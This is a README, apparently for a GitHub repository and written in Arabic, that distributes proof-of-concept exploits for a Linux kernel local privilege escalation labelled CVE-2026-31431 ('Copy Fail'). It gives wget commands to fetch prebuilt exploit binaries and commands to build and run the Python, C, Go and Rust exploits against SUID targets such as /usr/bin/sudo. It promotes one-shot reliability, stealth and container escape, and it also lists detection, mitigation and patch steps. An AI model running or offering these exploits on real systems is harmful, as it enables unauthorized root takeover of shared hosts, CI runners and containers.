
تصعيد صلاحيات محلي على لينكس بموثوقية 100% يؤثر على جميع التوزيعات الرئيسية منذ 2017.
خطأ منطقي واحد في
authencesn، يُسلسَل عبرAF_ALGوsplice()إلى كتابة 4 بايت في ذاكرة التخزين المؤقت للصفحات — قابل للاستغلال بصمت لما يقارب عقدًا من الزمن.
جميع الأكواد والوثائق في هذا المستودع مقدمة حصريًا لأغراض البحث الأمني المصرح به والأغراض التعليمية.
تشغيل كود الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. باستخدامك لهذا المستودع، فإنك تتحمل المسؤولية الكاملة عن أفعالك.
.
├── README.md ← أنت هنا
├── LICENSE ← MIT
├── .gitignore
├── docs/
│ ├── analysis-report.md ← تحليل أمني شامل
│ ├── analysis-report.html ← نسخة HTML منسقة
│ ├── exploit-walkthrough.md ← تحليل PoC سطرًا بسطر
│ └── exploit-walkthrough.html ← نسخة HTML منسقة
└── poc/
├── README.md ← دليل استخدام PoC
├── copy_fail_exp.py ← PoC الرسمي (732 بايت، مُشوَّه)
├── copy_fail_exp_readable.py ← نسخة مفكوكة التشويه + مشروحة
├── copy_fail_exp_compat.py ← متوافق مع Python 3.6+ (splice عبر ctypes)
├── copy_fail_exp_alpine.py ← نسخة Alpine Linux
├── copy_fail_exp.c ← تنفيذ بلغة C (بدون تبعيات)
├── copy_fail_exp.go ← تنفيذ بلغة Go (بدون تبعيات)
├── copy_fail_rust/ ← تنفيذ بلغة Rust
│ ├── Cargo.toml
│ └── src/main.rs
├── check_vulnerable.py ← ماسح الثغرات
└── mitigate.sh ← سكربت تخفيف بنقرة واحدة
# من إصدارات GitHub — ملفات ثنائية مُجمَّعة مسبقًا (Linux amd64/arm64) + جميع سكربتات Python
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-go-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-c-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-python.tar.gz
tar xzf copy-fail-go-linux.tar.gz
tar xzf copy-fail-c-linux.tar.gz
tar xzf copy-fail-python.tar.gz
# ملف Go الثنائي الثابت (لا يحتاج Python)
chmod +x copy-fail-exp-amd64
./copy-fail-exp-amd64
# ملف C الثنائي الثابت
chmod +x copy-fail-exp-c-amd64
./copy-fail-exp-c-amd64
# أو استخدم سكربتات Python مباشرة
python3 check_vulnerable.py
📦 يتم بناء الإصدارات تلقائيًا عبر GitHub Actions عند كل دفع لوسم
v*. تُبنى ملفات Go وC الثنائية لـ linux/amd64 وlinux/arm64 كملفات ثنائية ثابتة.
python3 poc/check_vulnerable.py
sudo bash poc/mitigate.sh
يقوم هذا بحظر وحدة النواة algif_aead — لا يكسر شيئًا لـ 99% من الأنظمة.
# Debian/Ubuntu
sudo apt update && sudo apt upgrade linux-image-*
# RHEL/CentOS/Fedora
sudo dnf update kernel
# أعد التشغيل إلى النواة المصححة
sudo reboot
python3 poc/check_vulnerable.py
# رمز الخروج 1 = محمي ✓
تحذير: شغّل فقط على أنظمة تملكها أو لديك إذن لاختبارها.
# C
gcc -static -o exp ./poc/copy_fail_exp.c && ./exp
# Python
python3 poc/copy_fail_exp.py
python3 poc/copy_fail_exp_compat.py # Python < 3.10
# Go
go build -o exp ./poc/copy_fail_exp.go && ./exp
# Rust
cd poc/copy_fail_rust && cargo run --release
جميع الإصدارات تقبل وسيطًا اختياريًا لاستهداف ملف SUID مختلف:
python3 poc/copy_fail_exp.py /usr/bin/passwd
./exp /usr/bin/sudo
تقييم شامل للثغرة يغطي:
authencesn)تحليل PoC سطرًا بسطر يغطي:
AF_ALG، تسليم splice() لذاكرة التخزين المؤقت للصفحات، آليات sg_chain()authencesn ESN التي تعبر حدود scatterlist/etc/passwd، استهداف المكتبات المشتركة، الهروب من الحاوياتالمساهمات مرحب بها:
يرجى فتح issue أو طلب سحب (pull request).
MIT — استخدم بمسؤولية.
| الحقل | التفاصيل |
|---|
| CVE | CVE-2026-31431 |
| الاسم المستعار | Copy Fail |
| النوع | تصعيد صلاحيات محلي في نواة لينكس (LPE) / كتابة عشوائية في ذاكرة التخزين المؤقت للصفحات |
| CVSS v3.1 | 7.8 عالية — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-669 (نقل موارد غير صحيح بين النطاقات) |
| المكوّن | crypto/algif_aead — قالب التشفير authencesn |
| تاريخ الإدخال | 2017 (الالتزام 72548b093ee3) |
| الإصلاح | التزام الخط الرئيسي a664bf3d603d (2026-04-01) |
| النواة المصححة | v6.18.22+، v6.19.12+، v7.0+ |
| المكتشف | Xint / Theori (Taeyang Lee + تدقيق بمساعدة Xint Code AI) |
| الإفصاح | 2026-04-29 — copy.fail |
| استغلال LPE نموذجي في لينكس | Copy Fail |
|---|
| حالة سباق (Race condition) | مطلوبة | لا شيء |
| إزاحات خاصة بالتوزيعة | مطلوبة | لا شيء |
| الموثوقية | 30–80% | 100%، محاولة واحدة |
| نافذة التأثر | ضيقة | 2017 ← 2026 (9 سنوات) |
| تعديل على القرص | ممكن | لا شيء (خفي) |
| عبور الحاويات | لا | نعم |
| الملف | اللغة | المتطلبات | ملاحظات |
|---|
copy_fail_exp.py | Python 3.10+ | المكتبة القياسية فقط | PoC الرسمي بحجم 732 بايت |
copy_fail_exp_compat.py | Python 3.6+ | المكتبة القياسية + ctypes | يعمل على CentOS 7 وAL2 وغيرها |
copy_fail_exp_alpine.py | Python 3.10+ | المكتبة القياسية فقط | يستهدف /bin/ping على Alpine |
copy_fail_exp.c | C | gcc + رؤوس لينكس | ملف ثنائي ثابت، بدون تبعيات |
copy_fail_exp.go | Go 1.21+ | المكتبة القياسية فقط | ملف ثنائي ثابت، بدون تبعيات |
copy_fail_rust/ | Rust 1.70+ | حزم libc + flate2 | ملف ثنائي ثابت |
| البيئة | المخاطر | السبب |
|---|
| مضيفات لينكس متعددة المستأجرين | 🔴 عالية | أي مستخدم → root |
| Kubernetes / الحاويات | 🔴 عالية | ذاكرة تخزين مؤقت مشتركة للصفحات → هروب من الحاوية |
| مشغلات CI (مستضافة ذاتيًا) | 🔴 عالية | PR خبيث → root للمشغل |
| SaaS سحابي (كود مستخدم) | 🔴 عالية | مستأجر → root للمضيف |
| خوادم قياسية | 🟡 متوسطة | تتسلسل مع RCE عبر الويب / بيانات اعتماد مسروقة |
| أجهزة محمولة لمستخدم واحد | 🟢 منخفضة | المستخدم الوحيد بالفعل |